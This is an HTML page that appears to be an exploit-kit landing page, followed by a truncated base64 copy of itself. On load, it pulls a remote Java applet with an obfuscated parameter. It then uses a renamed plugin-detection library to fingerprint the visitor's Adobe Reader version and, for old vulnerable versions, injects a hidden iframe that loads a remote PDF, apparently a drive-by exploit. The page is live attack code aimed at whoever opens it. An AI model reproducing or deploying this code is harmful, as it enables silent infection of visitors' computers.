<html><body>
<applet archive="http://k...content-available-to-author-only...o.com/33256.jar" code="Ini.class">
<param name="hppowndnkgnk" value="g8gjN1aNh9VhCBXC3tdX23Bd.dtgsl2M9B9pC.al1lCN:1/shN1j1/faV8jCaC/1sZk3t/Nk..C1ldd8okgdVsZMMsNaj90fMMiZ8Bh3X83cXNCV18N3hd1Bgkt90kaaZ1h3k2a19kVhtX3.XsBj.lkdd29B.9gV8iMsC9t2B9fC1M.9/8hflZBaX9fhiX3hhftk0os2NkCa/d.2hdCja/hcXXMaf1M2oV9k/9hV/mksl9dtta/gdVVfBt23sM3Mkhj2.lM989M9/hX819312jt.Z3fa3skmhtCXh8gMl">
</applet>
<script type="text/javascript">
var Saigon={
version:"0.7.7",
rDate:"04/11/2012",
name:"Saigon",
handler:function(c,b,a){return function(){c(b,a)}},
isDefined:function(b){return typeof b!="undefined"},
isArray:function(b){return(/array/i).test(Object.prototype.toString.call(b))},
isFunc:function(b){return typeof b=="function"},
isString:function(b){return typeof b=="string"},
isNum:function(b){return typeof b=="number"},
isStrNum:function(b){return(typeof b=="string"&&(/\d/).test(b))},
getNumRegx:/[\d][\d\.\_,-]*/,
splitNumRegx:/[\.\_,-]/g,
getNum:function(b,c){var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},
compareNums:function(h,f,d){
var e=this,c,b,a,g=parseInt;
if(e.isStrNum(h)&&e.isStrNum(f)){
if(e.isDefined(d)&&d.compareNums){return d.compareNums(h,f)}
c=h.split(e.splitNumRegx);
b=f.split(e.splitNumRegx);
for(a=0;a<Math.min(c.length,b.length);a++){if(g(c[a],10)>g(b[a],10)){return 1}if(g(c[a],10)<g(b[a],10)){return -1}}
}
return 0
},
formatNum:function(b,c){
var d=this,a,e;
if(!d.isStrNum(b)){return null}
if(!d.isNum(c)){c=4}
c--;
e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);
for(a=0;a<4;a++){if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}
return e.slice(0,4).join(",")
},
$$hasMimeType:function(a){return function(c){if(!a.isIE&&c){var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);for(b=0;b<d.length;b++){if(a.isString(d[b])&&/[^\s]/.test(d[b])){f=navigator.mimeTypes[d[b]];e=f?f.enabledPlugin:0;if(e&&(e.name||e.description)){return f}}}}return null}},
findNavPlugin:function(l,e,c){var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){if(!k||!(k.test(m)||k.test(b))){return a[f]}}}return null},
getMimeEnabledPlugin:function(k,m,c){var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++){if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a)){if(!g||!(g.test(l)||g.test(a))){return f}}}}return 0},
getPluginFileVersion:function(f,b){var h=this,e,d,g,a,c=-1;if(h.OS>2||!f||!f.version||!(e=h.getNum(f.version))){return b}if(!b){return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++){if(c>-1&&a>c&&d[a]!="0"){return b}if(g[a]!=d[a]){if(c==-1){c=a}if(d[a]!="0"){return b}}}return e},
AXO:window.ActiveXObject,getAXO:function(a){var f=null,d,b=this,c={};try{f=new b.AXO(a)}catch(d){}return f},
convertFuncs:function(f){var a,g,d,b=/^[$][$]/,c=this;for(a in f){if(b.test(a)){try{g=a.slice(2);if(g.length>0&&!f[g]){f[g]=f[a](f);delete f[a]}}catch(d){}}}},
initObj:function(e,b,d){var a,c;if(e){if(e[b[0]]==1||d){for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1]}}for(a in e){c=e[a];if(c&&c[b[0]]==1){this.initObj(c,b)}}}},
initScript:function(){
var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";
c.initObj(c,["$",c]);
for(f in c.Plugins){if(c.Plugins[f]){c.initObj(c.Plugins[f],["$",c,"$$",c.Plugins[f]],1)}};
c.OS=100;
if(b){
var d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];
for(f=d.length-2;f>=0;f=f-2){if(d[f]&&new RegExp(d[f],"i").test(b)){c.OS=d[f+1];break}}
}
c.convertFuncs(c);
c.head=(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.body||null);
c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();
c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;
c.ActiveXEnabled=false;
if(c.isIE){
var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];
for(f=0;f<j.length;f++){if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}
}
c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);
c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;
c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;
c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);
c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(i)?c.formatNum(RegExp.$1):null;
c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);
c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;
c.addWinEvent("load",c.handler(c.runWLfuncs,c))
},
init:function(d){
var c=this,b,d,a={status:-3,plugin:0};
if(!c.isString(d)){return a}
if(d.length==1){c.getVersionDelimiter=d;return a}
d=d.toLowerCase().replace(/\s/g,"");
b=c.Plugins[d];
if(!b||!b.getVersion){return a}
a.plugin=b;
if(!c.isDefined(b.installed)){b.installed=null;b.version=null;b.version0=null;b.getVersionDone=null;b.pluginName=d}
c.garbage=false;
if(c.isIE&&!c.ActiveXEnabled&&d!=="java"){a.status=-2;return a}
a.status=1;
return a
},
fPush:function(b,a){var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length>0&&c.isFunc(b[0])))){a.push(b)}},
callArray:function(b){var c=this,a;if(c.isArray(b)){for(a=0;a<b.length;a++){if(b[a]===null){return}c.call(b[a]);b[a]=null}}},
call:function(c){var b=this,a=b.isArray(c)?c.length:-1;if(a>0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}else{if(b.isFunc(c)){c(b)}}},
getVersionDelimiter:",",$$getVersion:function(a){return function(g,d,c){var e=a.init(g),f,b,h={};if(e.status<0){return null};f=e.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},
cleanup:function(){},
addWinEvent:function(d,c){var e=this,a=window,b;if(e.isFunc(c)){if(a.addEventListener){a.addEventListener(d,c,false)}else{if(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},
winHandler:function(d,c){return function(){d();if(typeof c=="function"){c()}}},
WLfuncs0:[],
WLfuncs:[],
runWLfuncs:function(a){var b={};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},
winLoaded:false,
$$onWindowLoaded:function(a){return function(b){if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},
div:null,
divID:"Saigon",
divWidth:50,
pluginSize:1,
emptyDiv:function(){var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes){for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes){for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f){}}}if(c){try{d.div.removeChild(c)}catch(f){}}}}if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode){try{d.div.parentNode.removeChild(d.div)}catch(f){}d.div=null}},
DONEfuncs:[],
onDoneEmptyDiv:function(){var c=this,a,b;if(!c.winLoaded){return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null){return}for(a in c){b=c[a];if(b&&b.funcs){if(b.OTF==3){return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null){return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},
getWidth:function(c){if(c){var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a)){return a}}return -1},
getTagStatus:function(m,g,a,b){var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m)){return -2}if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize<1){return 0}if(l>=i){return -1}try{if(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4)){if(!m.winLoaded&&c.winLoaded){return 1}if(m.winLoaded&&c.isNum(b)){if(!c.isNum(m.count)){m.count=b}if(b-m.count>=10){return 1}}}}catch(f){}return 0},
getDOMobj:function(g,a){var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;try{if(b&&a){d.div.focus()}}catch(f){}return b?c.firstChild:null},
setStyle:function(b,g){var f=b.style,a,d,c=this;if(f&&g){for(a=0;a<g.length;a=a+2){try{f[g[a]]=g[a+1]}catch(d){}}}},
insertDivInBody:function(a,i){var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")[0]||j.body);if(!g){try{j.write(c+'div id="'+b+'">o'+c+"/div>");d=j.getElementById(b)}catch(h){}}g=(j.getElementsByTagName("body")[0]||j.body);if(g){if(g.firstChild&&f.isDefined(g.insertBefore)){g.insertBefore(a,g.firstChild)}else{g.appendChild(a)}if(d){g.removeChild(d)}}else{}},
insertHTML:function(g,b,h,a,l){
var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";
var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];
var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
if(!k.isDefined(a)){a=""}
if(k.isString(g)&&(/[^\s]/).test(g)){g=g.toLowerCase().replace(/\s/g,"");q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';q+='style="'+i+'display:inline;" ';for(o=0;o<b.length;o=o+2){if(/[^\s]/.test(b[o+1])){q+=b[o]+'="'+b[o+1]+'" '}}q+=">";for(o=0;o<h.length;o=o+2){if(/[^\s]/.test(h[o+1])){q+=f+'param name="'+h[o]+'" value="'+h[o+1]+'" />'}}q+=a+f+"/"+g+">"}
else{q=a}
if(!k.div){j=n.getElementById(k.divID);if(j){k.div=j}else{k.div=n.createElement("div");k.div.id=k.divID}k.setStyle(k.div,c.concat(["width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!j){k.setStyle(k.div,["position","absolute","right","0px","top","0px"]);k.insertDivInBody(k.div)}}
if(k.div&&k.div.parentNode){k.setStyle(p,c.concat(["fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{p.innerHTML=q}catch(m){};try{k.div.appendChild(p)}catch(m){};return{span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q}}
return{span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q}
},
Plugins:{
adobereader:{
mimeType:"application/pdf",
navPluginObj:null,
progID:["AcroPDF.PDF","PDF.PdfCtrl"],
classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",
INSTALLED:{},
pluginHasMimeType:function(d,c,f){var b=this,e=b.$,a;for(a in d){if(d[a]&&d[a].type&&d[a].type==c){return 1}}if(e.getMimeEnabledPlugin(c,f)){return 1}return 0},
getVersion:function(l,j){
var g=this,
d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;
if(d.isString(j)){j=j.replace(/\s/g,"");if(j){k=j}}
else{j=null}
if(d.isDefined(g.INSTALLED[k])){g.installed=g.INSTALLED[k];return}
if(!d.isIE){
a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
if(g.getVersionDone!==0){g.getVersionDone=0;b=d.getMimeEnabledPlugin(g.mimeType,a);if(!j){n=b}if(!b&&d.hasMimeType(g.mimeType)){b=d.findNavPlugin(a,0)}if(b){g.navPluginObj=b;h=d.getNum(b.description)||d.getNum(b.name);h=d.getPluginFileVersion(b,h);if(!h&&d.OS==1){if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a)){h="9"}else{if(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){h="8"}}}}}
else{h=g.version}
if(!d.isDefined(n)){n=d.getMimeEnabledPlugin(k,a)}
g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))
}
else{b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);c=/=\s*([\d\.]+)/g;try{f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();for(m=0;m<5;m++){if(c.test(f)&&(!h||RegExp.$1>h)){h=RegExp.$1}}}catch(i){}g.installed=h?1:(b?0:-1)}
if(!g.version){g.version=d.formatNum(h)}
g.INSTALLED[k]=g.installed
}
},
zz:0
}
};
Saigon.initScript();
llllmg=Saigon.getVersion("AdobeReader");
if(llllmg){
llllmg=llllmg.split(',');
var attw = document.createElement("div");
yapa = "<iframe width='80' height='80' src='http://k...content-available-to-author-only...o.com/98765.pdf' frameborder='0' scrolling='no'></iframe>";
if ((llllmg[0]==8 && llllmg[1]<=2)||(llllmg[0]==9 && llllmg[1]<=3)){
attw.innerHTML = yapa;
document.body.appendChild(attw);
}
}
</script>
</body></html>
PGh0bWw+PGJvZHk+Cgo8YXBwbGV0IGFyY2hpdmU9Imh0dHA6Ly9rLi4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5vLmNvbS8zMzI1Ni5qYXIiIGNvZGU9IkkmIzExMDtpLmNsJiM5NztzcyI+CjxwYXJhbSBuYW1lPSJocHBvd25kbmtnbmsiIHZhbHVlPSJnOGdqTjFhTmg5VmhDQlhDM3RkWDIzQmQuZHRnc2wyTTlCOXBDLmFsMWxDTjoxL3NoTjFqMS9mYVY4akNhQy8xc1prM3QvTmsuLkMxbGRkOG9rZ2RWc1pNTXNOYWo5MGZNTWlaOEJoM1g4M2NYTkNWMThOM2hkMUJna3Q5MGthYVoxaDNrMmExOWtWaHRYMy5Yc0JqLmxrZGQyOUIuOWdWOGlNc0M5dDJCOWZDMU0uOS84aGZsWkJhWDlmaGlYM2hoZnRrMG9zMk5rQ2EvZC4yaGRDamEvaGNYWE1hZjFNMm9WOWsvOWhWL21rc2w5ZHR0YS9nZFZWZkJ0MjNzTTNNa2hqMi5sTTk4OU05L2hYODE5MzEyanQuWjNmYTNza21odENYaDhnTWwiPgo8L2FwcGxldD4KCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KCnZhciBTYWlnb249ewoJCgl2ZXJzaW9uOiIwLjcuNyIsCglyRGF0ZToiMDQvMTEvMjAxMiIsCgluYW1lOiJTYWlnb24iLAoJCgloYW5kbGVyOmZ1bmN0aW9uKGMsYixhKXtyZXR1cm4gZnVuY3Rpb24oKXtjKGIsYSl9fSwKCQoJaXNEZWZpbmVkOmZ1bmN0aW9uKGIpe3JldHVybiB0eXBlb2YgYiE9InVuZGVmaW5lZCJ9LAoJaXNBcnJheTpmdW5jdGlvbihiKXtyZXR1cm4oL2FycmF5L2kpLnRlc3QoT2JqZWN0LnByb3RvdHlwZS50b1N0cmluZy5jYWxsKGIpKX0sCglpc0Z1bmM6ZnVuY3Rpb24oYil7cmV0dXJuIHR5cGVvZiBiPT0iZnVuY3Rpb24ifSwKCWlzU3RyaW5nOmZ1bmN0aW9uKGIpe3JldHVybiB0eXBlb2YgYj09InN0cmluZyJ9LAoJaXNOdW06ZnVuY3Rpb24oYil7cmV0dXJuIHR5cGVvZiBiPT0ibnVtYmVyIn0sCglpc1N0ck51bTpmdW5jdGlvbihiKXtyZXR1cm4odHlwZW9mIGI9PSJzdHJpbmciJiYoL1xkLykudGVzdChiKSl9LAoJCglnZXROdW1SZWd4Oi9bXGRdW1xkXC5cXywtXSovLAoJc3BsaXROdW1SZWd4Oi9bXC5cXywtXS9nLAoJCglnZXROdW06ZnVuY3Rpb24oYixjKXt2YXIgZD10aGlzLGE9ZC5pc1N0ck51bShiKT8oZC5pc0RlZmluZWQoYyk/bmV3IFJlZ0V4cChjKTpkLmdldE51bVJlZ3gpLmV4ZWMoYik6bnVsbDtyZXR1cm4gYT9hWzBdOm51bGx9LAoJCgljb21wYXJlTnVtczpmdW5jdGlvbihoLGYsZCl7CgkJdmFyIGU9dGhpcyxjLGIsYSxnPXBhcnNlSW50OwoJCWlmKGUuaXNTdHJOdW0oaCkmJmUuaXNTdHJOdW0oZikpewoJCQlpZihlLmlzRGVmaW5lZChkKSYmZC5jb21wYXJlTnVtcyl7cmV0dXJuIGQuY29tcGFyZU51bXMoaCxmKX0KCQkJYz1oLnNwbGl0KGUuc3BsaXROdW1SZWd4KTsKCQkJYj1mLnNwbGl0KGUuc3BsaXROdW1SZWd4KTsKCQkJZm9yKGE9MDthPE1hdGgubWluKGMubGVuZ3RoLGIubGVuZ3RoKTthKyspe2lmKGcoY1thXSwxMCk+ZyhiW2FdLDEwKSl7cmV0dXJuIDF9aWYoZyhjW2FdLDEwKTxnKGJbYV0sMTApKXtyZXR1cm4gLTF9fQoJCX0KCQlyZXR1cm4gMAoJfSwKCQoJZm9ybWF0TnVtOmZ1bmN0aW9uKGIsYyl7CgkJdmFyIGQ9dGhpcyxhLGU7CgkJaWYoIWQuaXNTdHJOdW0oYikpe3JldHVybiBudWxsfQoJCWlmKCFkLmlzTnVtKGMpKXtjPTR9CgkJYy0tOwoJCWU9Yi5yZXBsYWNlKC9ccy9nLCIiKS5zcGxpdChkLnNwbGl0TnVtUmVneCkuY29uY2F0KFsiMCIsIjAiLCIwIiwiMCJdKTsKCQlmb3IoYT0wO2E8NDthKyspe2lmKC9eKDArKSguKykkLy50ZXN0KGVbYV0pKXtlW2FdPVJlZ0V4cC4kMn1pZihhPmN8fCEoL1xkLykudGVzdChlW2FdKSl7ZVthXT0iMCJ9fQoJCXJldHVybiBlLnNsaWNlKDAsNCkuam9pbigiLCIpCgl9LAoJCgkkJGhhc01pbWVUeXBlOmZ1bmN0aW9uKGEpe3JldHVybiBmdW5jdGlvbihjKXtpZighYS5pc0lFJiZjKXt2YXIgZixlLGIsZD1hLmlzQXJyYXkoYyk/YzooYS5pc1N0cmluZyhjKT9bY106W10pO2ZvcihiPTA7YjxkLmxlbmd0aDtiKyspe2lmKGEuaXNTdHJpbmcoZFtiXSkmJi9bXlxzXS8udGVzdChkW2JdKSl7Zj1uYXZpZ2F0b3IubWltZVR5cGVzW2RbYl1dO2U9Zj9mLmVuYWJsZWRQbHVnaW46MDtpZihlJiYoZS5uYW1lfHxlLmRlc2NyaXB0aW9uKSl7cmV0dXJuIGZ9fX19cmV0dXJuIG51bGx9fSwKCQoJZmluZE5hdlBsdWdpbjpmdW5jdGlvbihsLGUsYyl7dmFyIGo9dGhpcyxoPW5ldyBSZWdFeHAobCwiaSIpLGQ9KCFqLmlzRGVmaW5lZChlKXx8ZSk/L1xkLzowLGs9Yz9uZXcgUmVnRXhwKGMsImkiKTowLGE9bmF2aWdhdG9yLnBsdWdpbnMsZz0iIixmLGIsbTtmb3IoZj0wO2Y8YS5sZW5ndGg7ZisrKXttPWFbZl0uZGVzY3JpcHRpb258fGc7Yj1hW2ZdLm5hbWV8fGc7aWYoKGgudGVzdChtKSYmKCFkfHxkLnRlc3QoUmVnRXhwLmxlZnRDb250ZXh0K1JlZ0V4cC5yaWdodENvbnRleHQpKSl8fChoLnRlc3QoYikmJighZHx8ZC50ZXN0KFJlZ0V4cC5sZWZ0Q29udGV4dCtSZWdFeHAucmlnaHRDb250ZXh0KSkpKXtpZigha3x8IShrLnRlc3QobSl8fGsudGVzdChiKSkpe3JldHVybiBhW2ZdfX19cmV0dXJuIG51bGx9LAoJCglnZXRNaW1lRW5hYmxlZFBsdWdpbjpmdW5jdGlvbihrLG0sYyl7dmFyIGU9dGhpcyxmLGI9bmV3IFJlZ0V4cChtLCJpIiksaD0iIixnPWM/bmV3IFJlZ0V4cChjLCJpIik6MCxhLGwsZCxqPWUuaXNTdHJpbmcoayk/W2tdOms7Zm9yKGQ9MDtkPGoubGVuZ3RoO2QrKyl7aWYoKGY9ZS5oYXNNaW1lVHlwZShqW2RdKSkmJihmPWYuZW5hYmxlZFBsdWdpbikpe2w9Zi5kZXNjcmlwdGlvbnx8aDthPWYubmFtZXx8aDtpZihiLnRlc3QobCl8fGIudGVzdChhKSl7aWYoIWd8fCEoZy50ZXN0KGwpfHxnLnRlc3QoYSkpKXtyZXR1cm4gZn19fX1yZXR1cm4gMH0sCgkKCWdldFBsdWdpbkZpbGVWZXJzaW9uOmZ1bmN0aW9uKGYsYil7dmFyIGg9dGhpcyxlLGQsZyxhLGM9LTE7aWYoaC5PUz4yfHwhZnx8IWYudmVyc2lvbnx8IShlPWguZ2V0TnVtKGYudmVyc2lvbikpKXtyZXR1cm4gYn1pZighYil7cmV0dXJuIGV9ZT1oLmZvcm1hdE51bShlKTtiPWguZm9ybWF0TnVtKGIpO2Q9Yi5zcGxpdChoLnNwbGl0TnVtUmVneCk7Zz1lLnNwbGl0KGguc3BsaXROdW1SZWd4KTtmb3IoYT0wO2E8ZC5sZW5ndGg7YSsrKXtpZihjPi0xJiZhPmMmJmRbYV0hPSIwIil7cmV0dXJuIGJ9aWYoZ1thXSE9ZFthXSl7aWYoYz09LTEpe2M9YX1pZihkW2FdIT0iMCIpe3JldHVybiBifX19cmV0dXJuIGV9LAoJCglBWE86d2luZG93LkFjdGl2ZVhPYmplY3QsZ2V0QVhPOmZ1bmN0aW9uKGEpe3ZhciBmPW51bGwsZCxiPXRoaXMsYz17fTt0cnl7Zj1uZXcgYi5BWE8oYSl9Y2F0Y2goZCl7fXJldHVybiBmfSwKCQoJY29udmVydEZ1bmNzOmZ1bmN0aW9uKGYpe3ZhciBhLGcsZCxiPS9eWyRdWyRdLyxjPXRoaXM7Zm9yKGEgaW4gZil7aWYoYi50ZXN0KGEpKXt0cnl7Zz1hLnNsaWNlKDIpO2lmKGcubGVuZ3RoPjAmJiFmW2ddKXtmW2ddPWZbYV0oZik7ZGVsZXRlIGZbYV19fWNhdGNoKGQpe319fX0sCgkKCWluaXRPYmo6ZnVuY3Rpb24oZSxiLGQpe3ZhciBhLGM7aWYoZSl7aWYoZVtiWzBdXT09MXx8ZCl7Zm9yKGE9MDthPGIubGVuZ3RoO2E9YSsyKXtlW2JbYV1dPWJbYSsxXX19Zm9yKGEgaW4gZSl7Yz1lW2FdO2lmKGMmJmNbYlswXV09PTEpe3RoaXMuaW5pdE9iaihjLGIpfX19fSwKCQoJaW5pdFNjcmlwdDpmdW5jdGlvbigpewoJCXZhciBjPXRoaXMsYT1uYXZpZ2F0b3IsZT0iLyIsZixpPWEudXNlckFnZW50fHwiIixnPWEudmVuZG9yfHwiIixiPWEucGxhdGZvcm18fCIiLGg9YS5wcm9kdWN0fHwiIjsKCQljLmluaXRPYmooYyxbIiQiLGNdKTsKCQlmb3IoZiBpbiBjLlBsdWdpbnMpe2lmKGMuUGx1Z2luc1tmXSl7Yy5pbml0T2JqKGMuUGx1Z2luc1tmXSxbIiQiLGMsIiQkIixjLlBsdWdpbnNbZl1dLDEpfX07CgkJYy5PUz0xMDA7CgkJaWYoYil7CgkJCXZhciBkPVsiV2luIiwxLCJNYWMiLDIsIkxpbnV4IiwzLCJGcmVlQlNEIiw0LCJpUGhvbmUiLDIxLjEsImlQb2QiLDIxLjIsImlQYWQiLDIxLjMsIldpbi4qQ0UiLDIyLjEsIldpbi4qTW9iaWxlIiwyMi4yLCJQb2NrZXRccypQQyIsMjIuMywiIiwxMDBdOwoJCQlmb3IoZj1kLmxlbmd0aC0yO2Y+PTA7Zj1mLTIpe2lmKGRbZl0mJm5ldyBSZWdFeHAoZFtmXSwiaSIpLnRlc3QoYikpe2MuT1M9ZFtmKzFdO2JyZWFrfX0KCQl9CgkJYy5jb252ZXJ0RnVuY3MoYyk7CgkJYy5oZWFkPShkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiYm9keSIpWzBdfHxkb2N1bWVudC5ib2R5fHxudWxsKTsKCQljLmlzSUU9KG5ldyBGdW5jdGlvbigicmV0dXJuICIrZSsiKkBjY19vbiFAKiIrZSsiZmFsc2UiKSkoKTsKCQljLnZlcklFPWMuaXNJRSYmKC9NU0lFXHMqKFxkK1wuP1xkKikvaSkudGVzdChpKT9wYXJzZUZsb2F0KFJlZ0V4cC4kMSwxMCk6bnVsbDsKCQljLkFjdGl2ZVhFbmFibGVkPWZhbHNlOwoJCWlmKGMuaXNJRSl7CgkJCXZhciBmLGo9WyJNc3htbDIuWE1MSFRUUCIsIk1zeG1sMi5ET01Eb2N1bWVudCIsIk1pY3Jvc29mdC5YTUxET00iLCJTaG9ja3dhdmVGbGFzaC5TaG9ja3dhdmVGbGFzaCIsIlREQ0N0bC5URENDdGwiLCJTaGVsbC5VSUhlbHBlciIsIlNjcmlwdGluZy5EaWN0aW9uYXJ5Iiwid21wbGF5ZXIub2N4Il07CgkJCWZvcihmPTA7ZjxqLmxlbmd0aDtmKyspe2lmKGMuZ2V0QVhPKGpbZl0pKXtjLkFjdGl2ZVhFbmFibGVkPXRydWU7YnJlYWt9fQoJCX0KCQljLmlzR2Vja289KC9HZWNrby9pKS50ZXN0KGgpJiYoL0dlY2tvXHMqXC9ccypcZC9pKS50ZXN0KGkpOwoJCWMudmVyR2Vja289Yy5pc0dlY2tvP2MuZm9ybWF0TnVtKCgvcnZccypcOlxzKihbXC5cLFxkXSspL2kpLnRlc3QoaSk/UmVnRXhwLiQxOiIwLjkiKTpudWxsOwoJCWMuaXNDaHJvbWU9KC9DaHJvbWVccypcL1xzKihcZFtcZFwuXSopL2kpLnRlc3QoaSk7CgkJYy52ZXJDaHJvbWU9Yy5pc0Nocm9tZT9jLmZvcm1hdE51bShSZWdFeHAuJDEpOm51bGw7CgkJYy5pc1NhZmFyaT0oKC9BcHBsZS9pKS50ZXN0KGcpfHwoIWcmJiFjLmlzQ2hyb21lKSkmJigvU2FmYXJpXHMqXC9ccyooXGRbXGRcLl0qKS9pKS50ZXN0KGkpOwoJCWMudmVyU2FmYXJpPWMuaXNTYWZhcmkmJigvVmVyc2lvblxzKlwvXHMqKFxkW1xkXC5dKikvaSkudGVzdChpKT9jLmZvcm1hdE51bShSZWdFeHAuJDEpOm51bGw7CgkJYy5pc09wZXJhPSgvT3BlcmFccypbXC9dP1xzKihcZCtcLj9cZCopL2kpLnRlc3QoaSk7CgkJYy52ZXJPcGVyYT1jLmlzT3BlcmEmJigoL1ZlcnNpb25ccypcL1xzKihcZCtcLj9cZCopL2kpLnRlc3QoaSl8fDEpP3BhcnNlRmxvYXQoUmVnRXhwLiQxLDEwKTpudWxsOwoJCWMuYWRkV2luRXZlbnQoImxvYWQiLGMuaGFuZGxlcihjLnJ1bldMZnVuY3MsYykpCgl9LAoJCglpbml0OmZ1bmN0aW9uKGQpewoJCXZhciBjPXRoaXMsYixkLGE9e3N0YXR1czotMyxwbHVnaW46MH07CgkJaWYoIWMuaXNTdHJpbmcoZCkpe3JldHVybiBhfQoJCWlmKGQubGVuZ3RoPT0xKXtjLmdldFZlcnNpb25EZWxpbWl0ZXI9ZDtyZXR1cm4gYX0KCQlkPWQudG9Mb3dlckNhc2UoKS5yZXBsYWNlKC9ccy9nLCIiKTsKCQliPWMuUGx1Z2luc1tkXTsKCQlpZighYnx8IWIuZ2V0VmVyc2lvbil7cmV0dXJuIGF9CgkJYS5wbHVnaW49YjsKCQlpZighYy5pc0RlZmluZWQoYi5pbnN0YWxsZWQpKXtiLmluc3RhbGxlZD1udWxsO2IudmVyc2lvbj1udWxsO2IudmVyc2lvbjA9bnVsbDtiLmdldFZlcnNpb25Eb25lPW51bGw7Yi5wbHVnaW5OYW1